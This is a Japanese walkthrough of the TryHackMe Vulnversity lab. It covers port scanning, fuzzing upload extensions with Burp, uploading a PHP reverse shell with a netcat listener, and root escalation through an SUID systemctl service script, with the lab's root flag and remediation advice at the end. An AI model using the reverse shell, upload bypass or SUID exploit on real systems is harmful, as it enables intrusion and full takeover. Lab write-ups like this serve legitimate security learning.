概要
TryHackMeのVulnversityルームを使って、ハンズオンでWebサーバーに対するセキュリティを学習し、そこから考えられるセキュリティリスクを洗い出します。
手順
今回は大きく分けて、以下のように進めていきます。
- ポートスキャンでの偵察
- FTPの調査
- Webサイトの調査
- アップロードフォームの調査
- 初期侵入の実施
- 権限昇格手法の調査
- 管理者のフラグ入手
実演
0.準備
まずはいつも通り、マシンを立ち上げた後、VPN経由で接続します。
出てきたIPアドレスに対しpingを送り、接続できていることを確認しましょう。
IP=10.10.251...
ping $IP
1.ポートスキャンでの偵察
他のとき同様に以下のオプションをつけてnmapを実行します。
nmap -sV -Pn -oN nmap.txt -v $IP
オプションの詳細(クリックで開く)
- -Sv ソフトウェアの名前やバージョンなどの詳細を取得
- -Pn ICMPリクエスト(ping)をスキップして直接スキャンすることによってpingがブロックされていてもスキャン可能に
- oN <ファイル名> 結果をファイル名で保存。
- v 進捗を表示
また他には-p-オプションで5-p-100のようにするとポート番号5から100までといった感じで絞って探すこともできます。
結果はこのようになりました。
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
3128/tcp open http-proxy Squid http proxy 4.10
3333/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
この結果から、以下のような部分に着目できます。
- ftpが有効になっているので、パスワードが不要なAnonymousでのログインが可能でないか
- sshが有効になっているのでIDとパスワードをどこかで入手orIDから辞書攻撃ができないか
- httpでApacheが動いているので、Webブラウザから何か情報を得られないか
これらのポート以外に情報がある場合もあるので、-oNであとから結果を確認できるようにしておきましょう。
またhttpが3000番台で動いていることもあるので、なるべく1000以降のポートもスキャンしましょう。
2.FTPの調査
TaskではFTPは触れられていませんが、nmapの結果からFTPでの偵察を行います。
先程述べたようにまずはanonymousでのログインを試みます。
ftp $IP
ユーザー名を求められるのでanonymousと入力してEnter
Connected to 10.10.115.141.
220 (vsFTPd 3.0.5)
Name (10.10....:yourname): anonymous
パスワードは不要なので何も入れずにログイン
しかし以下のような結果になります。
Password:
530 Login incorrect.
ftp: Login failed
うまくいかなかったのでexitと押してEnterでftpを終了します。
一見無駄足にも思えますが、ftpは攻撃できないという情報を得ることができたので、一歩前進しています。
3.Webサイトの調査
Ftpがだめだったので、sshにつかうユーザー情報の手がかりも無いので3つめに怪しいWebサイトを調査します。
今回はhttpsではなくhttpとわかっているのでブラウザに
http://<IPアドレス>:3333と入れることで観覧できます。
ここで注意してほしいのが、httpはデフォルトで80番ポートを使用しますが今回は3333で動いているためにポート番号を明示する必要があります。
ではさっそく調査に入っていきますが、ブラウザのみで全てのリンクを探したりするのは大変なので、Task3にもあるようにツールをつかってディレクトリスキャンを行いたいと思います。
Day2でも同様の事をしたのでこちらもおさらいになります。
dirb http://10.10....:3333/ /usr/share/wordlists/dirb/small.txt -R
-Rオプションによって再帰的に検索され、ディレクトリ内のディレクトリまで調べられます。
このような結果になりました。
結果の内気になるディレクトリが
internal/とinternal/uploadsというディレクトリです。
内部というディレクトリ名からして中の人向けっぽいです。
実際にこれらを見ていきます
4. アップロードフォームの調査
internalではこのようなファイルのアップロード画面が出ました。

過去のCTFの経験からphpっぽいなとか、phpファイルをアップロードして悪さができそうだなとかを思ったりしつつ
適当にpngとかをアップロードします。
するとExtension not allowed とでました。
どうやらpng拡張子が許可されていないようです。
適当にtxtファイルを作って上げてみます。
今回はnanoで中身を記述します。
touch test.txt
nano test.txt
cat test.txt
先程同様に上げましたが弾かれました。
今度はinternal/uploads/を見てみます。
するとこのような画面が出ました。

shell.phtmlといういかにもなファイルがありました。
アクセスしても以下のようにでて特に情報は得られません。
しかしながら.phtmlというphpファイルの拡張子があることからphpコードアップロードして悪用する線が濃厚になってきました。
なぜこのような画面が見えているかというと、ディレクトリリスティング機能という、index.htmlなどインデックスファイルがない場合に自動的にそのディレクトリないのファイルやサブディレクトリ一覧を自動的に表示する機能です。
管理者目線ファイルの管理が便利な点もありますが、セキュリティ的な問題を思ったり引き起こす可能性があるので注意が必要です。
以下のブログを参考にすると、Apacheの設定ファイルであるhttpd.confの編集や.htaccessファイルの利用によって無効化できるとあります。
phtmlが有効であることは、直接アップロード可能なファイルを探すアプローチによっても確認できます。
Day4で活用したBurp Suiteを使います。
まずはBurp Suiteを立ち上げて、Targetタブからchrominiumを立ち上げてそこで先程のhttp://IP:3333/internalにアクセスしてテキストか何かをアップロードします。
そうして先ほど同様のエラーがでたら、ターゲットサイトマップから先ほどのurlでのPOSTメソッドを探します。

見つけたら前回同様Intruderに送ります。
今回はアップロード可能な拡張子を探したいので、filenemのtxtの部分をペイロードのポジションとして設定します。

今回もSecListsという辞書を使っていくのですが、前回使ったパスワードの辞書とは違い、今回は拡張子のリストを使います。
ファイルのパスは/usr/share/seclists/Fuzzing/extensions-most-coomon.fuzz.txtです。
ルート直下のusrの方であることに注意してください。
余談ですが、fazzingとはランダムなデータを大量に送り込んでバグや脆弱性を見つけるテスト手法の一つです。

こうなっているのを確認したらStart attackで実行します。
以下のように出てきます。

結果を眺めていると、lemgthの部分が他は773か774なのに対して12番のphtmlだけ760と異なっているのがわかります。
コンテンツの中身が違うということは挙動が異なっていると言うことです。
phtmlのリクエストをクリックしてウィンドウをResponseに切り替えて、先ほどエラーがでていた場所を見ると、Successと出ています。

PrettyからRenderに変えるとより見やすいです。

これで正式にphtmlがアップロード可能であるとわかりました。
phpのプログラムをアップロードできるとわかったので、これを悪用してシステムへ侵入します。
5.初期侵入の実施
phpを直接送ることができるため、任意のphpコードをサーバー上で実行できる可能性があります。
その中でも高い汎用性を得られるリバースシェルの取得を試します。
リバースシェルとは、ターゲットマシン側から自分のローカルマシンに向けて接続を行う仕組みです。通常はこちら側から接続を行うのに対して逆方向から接続を行うのでリバースシェルです。
通常、ファイアウォールなどセキュリティ機構は外側から内側に対するアクセスへの制限が強いです。逆に内側からの通信は自由であることも多いです。
これを利用するのがリバースシェルの悪用です。
リバースシェル自体は悪意のあるものではなくただの通信手段ですが、悪用されることも多いのが現状です。
また似たような脆弱性にリモートコード実行(RCE)がありますが、こちらは一度のコマンドを実行するのに対して、リバースシェルは対話なので継続的に操作することができます。
こんな強力なリバースシェルですが、kaliにはデフォルトでサンプルファイルが用意されているので、それを使っていきます。
あくまでサンプルなので、実際には書き換えて使います。
そのさいバックアップを残せるように、コピーを作ってそれを書き換えます。
書き換える場所はほんの少しなので安心してください。
cp /usr/share/webshells/php/php-reverse-shell.php .
ls
lsで確認して存在すればOKです。

また今回は.phpではなく.phtmlなので、ファイル名を変更します。
mv php-reverse-shell.php php-reverse-shell.phtml
ls
> nmap.txt2 php-reverse-shell.phtml test.txt
さっそく中身を変更するためnanoを使いますが、今回はファイルの行数が多いので、-cオプションでカーソルを合わせている行の行番号を表示させます。
nano -c php-reverse-shell.phtml
49行目と50行目にコメントでCHANGE THISとあるのでここを書き換えます。

注意:それぞれIPアドレスとポート番号を書き換えるのですが、それぞれリバースシェルを受け付ける側のIPアドレスとポート番号になります。
つまりIPアドレスは自分のローカルマシンのIPアドレスです。
ポート番号は使っていなければなんでもいいので、12345とかにしておきます。
変更したらctl+Xで抜けてYで保存して終了します。
では実際にアップロードして確かめます。
intaernal/uploadsから確認します。

php-reverse-shell.phtml が確認できました。
仕上げとしてローカルマシンとの接続を確立します。
ローカルマシンの先ほど書いたポートで接続を受け付ける必要があるため、nc(netcat)コマンドを使ってネットワーク上のリ他のコンピューターがポート12345でこのコンピューターに接続できるようにします。
nc -lvnp 12345
listening on [any] 12345 ...と出たらOKです。
それぞれのオプション
- -l 接続を待ち受けるモード(リスニングモード)
- -v 冗長モード、詳細を表示
- -n DNSの解決を行わずにIPアドレスで通信
- -p <ポート番号> 待ち受けポート番号を指定
ブラウザのintrna;/uploads画面に戻って、php-reverse-shell.phtmlをクリックします。
するとPHPプログラムがターゲットで実行されローカルマシンに接続します。
以下のようにいくつかメッセージが出た後、shellを表す$が表示されました。

実際にhostnameやwhoamiで遠隔操作が可能になっていることを確認しましょう。
$ hostname
ip-10-10-....
$ pwd
/
$ whoami
www-data
これで初期侵入が完了しました。
フォルダ一覧では以下のようになります。

ユーザーに関することはhome以下、webサーバーに関することはvar以下にあります。
$ cd home
$ ls
bill
ubuntu
このサーバーの持ち主はbillであるとわかりました。
補足:サーバーの持ち主がbillにもかかわらず、whoamiの結果がwww-dataであることに疑問を持った人もいるかもしれませんが、www-dataであることはある意味当然です。
なぜなら現在、webサーバーに対してリバースシェルをつなげました。www-dataはWebサーバーがサイトのデータへアクセス時やアプリのコンテンツ処理時に使われるシステムユーザーの一種です。
よって一般ユーザーとは異なります。
6. 権限昇格手法の調査
先ほど行ったlsの中に、気になるディレクトリがありました。それがrootです。rootは管理者ユーザーを表すことが多いので、重要な情報がありそうです。
しかしながら現在の権限ではls等のコマンドが権限によって弾かれてしまいます。
$ ls root
ls: cannot open directory 'root': Permission denied
よってどうにかして権限を昇格します。
問題文にあるように、今回はSUIDの不備をついて行います。
SUIDとは
Set User IDのことで、Linuxで使われるパーミッションの一つです。
通常はrwxのようになっていますが、sとなっていればSUIDです。
そして具体例な内容はプログラムの実行権限を持つユーザーが実行した場合、そのユーザーの権限にかかわらず、ファイルの所有者の権限で実行されます。
つまりrootが所有者のSUIDがついたファイルは誰だろうとroot権限で実行できるということです。
もうそのヤバさがおわかりいただけたと思います。
実際にSUIDであるファイルを探すには以下のコマンドを行います。
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chfn
...
/bin/mount
/bin/umount
/bin/systemctl
コマンドの詳細
findコマンドはファイルやディレクトリを検索するコマンドで、/でルートディレクトリから検索を開始しています。
また-permでパーミッションを指定しています。今回はSUIDなので-4000。これは書籍のよういに-u=sという記述もできます。
-type fでディレクトリではなくファイルを探しています。
また2>/dev/nullの部分ではエラーメッセージを非表示にしています。
出力結果の内、最後のsystenctlというサービスを制御するコマンドに注目します。
実際にSUIDが設定されていることを確認しましょう。
$ cd bin
$ ls -la | grep systemctl
-rwsr-xr-x 1 root root 996584 Jun 17 2024 systemctl
rwsとなっていてSUDパーミッションとわかります。また所有者もrootとわかりました。
今回はこれを利用して権限昇格を行います。
具体的な手法をしらべるため、GFOBInsというサイトを利用します。
検索欄にsystenctlと入力してSUIDをクリックすると以下に飛びます。
https://gtfobins.github.io/gtfobins/systemctl/
このサイトではシチュエーションにあったエクスプロイトが説明付きで記載されています。
文面の最後に以下のように記載されているので、コマンドの最初を飛ばします。
To interact with an existing SUID binary skip the first command and run the program using its original path.
よって実際に使う部分はこのようになります。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
このエクスプロイトはidコマンドの実行結果を/tmp/outputに出力するというものです。
systemdサービスの定義の詳細
- mktempで一時ファイルを作成して、.serviceを付けてsystemdが認識可能なサービスファイルに - echo '[Service]...> TFにsystemdサービスの定義内容を書き込み - [service]:systemd本体の定義 - Type=oneshot:サービスは一度だけ実行され、完了したら終了 - ExecStart=...:サービスが開始されたときに実行されるコマンドこでは /bin/sh -c "id > /tmp/output" で 現在のユーザー情報を /tmp/output に保存 - サービスをシステムにインストール(有効化)する際の設定 - WantedBy=multi-user.target: 通常のマルチユーザーモードで有効になるように設定 - link:作ったサービスファイルを systemd に「リンク」して認識させる(/etc/systemd/system/ に symlink) - enable: サービスを起動時に自動で立ち上がるように登録、nowですぐに起動今回行いたいのは、idコマンドではなく、rootディレクトリの中身を確認することです。
よってidからls -la /rootに変更します。
また、必要に応じてsystemctlのパスを変更します。
やりやすいように新しいファイルを作ってそこで作業します。
touch suidexploit.sh
nano suidexploit.sh
変更後は以下のようになります。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "ls -la /root > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
作成したshellコマンドをコピペして実行します。
最後入力待ちになるのでエンターを押します。
$ TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "ls -la /root > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF$ > > > > $ Created symlink /etc/systemd/system/tmp.bzELJKnN3B.service -> /tmp/tmp.bzELJKnN3B.service.
$
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.bzELJKnN3B.service -> /tmp/tmp.bzELJKnN3B.service.
7. 管理者のフラグ入手
では結果を確認します。catでoutputを見ればいいだけです。
$ cat /tmp/output
total 40
drwx------ 7 root root 4096 Jun 12 15:10 .
drwxr-xr-x 23 root root 4096 Jul 6 06:11 ..
lrwxrwxrwx 1 root root 9 Jul 31 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Jul 31 2019 .cache
drwx------ 3 root root 4096 Jun 6 17:56 .gnupg
drwxr-xr-x 2 root root 4096 Jul 31 2019 .nano
-rw-r--r-- 1 root root 161 Jan 2 2024 .profile
-rw-r--r-- 1 root root 33 Jul 31 2019 root.txt
drwx------ 3 root root 4096 Jun 6 18:44 snap
drwx------ 2 root root 4096 Jun 6 17:13 .ssh
-rw------- 1 root root 0 Jun 12 15:10 .viminfo
root.txtといういかにもなファイルが見つかりました。
これが今回のflagのようです。
さきほどのエクスプロイトのコマンド部分をlsからroot.txtをcatするコマンドに変更します。
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output1"
そして今つくったoutput1を確認するとflagが確認できます。
$ cat /tmp/output1
a58ff8579f0a9270368d33a9966c7fd5
改善策の考察
まず、なぜ初期侵入を許したのかと権限昇格ができてしまったかを考えます。
初期侵入
- internalが外部公開されていた
→intrnalなど内部用フォルダのアクセス制御を行う - internalでディレクトリリスティング機能が有効になっていた
→直接致命傷にはなりにくいが、紹介した方法でなるべくオフに - phtmlファイルがアップロード可能になっていた
→クライエント側から実行可能ファイルを上げられるようにしない - 挙げられたphtmlの制御が何もされていない
→アップロードされたファイルを直接実行しない
権限昇格
- SUIDの設定が不要なファイルに付与されていた
→必要最小限のファイルにのみ付与 - rootが所有者のsystemctlにSUIDが付与されていた
→root権限で実行できるファイルは特不要なSUIDがついていないか確認する
これらのうちのどれか一つでも対応されていたら今回の侵攻が大きく難しくなっていたことを考えると、多層的な防御の重要性がわかります。
参考文献
野澤のみぞう, 『7日間でハッキングをはじめる本 ― TryHackMeを使って身体で覚える攻撃手法と脆弱性』, 翔泳社, 2024.




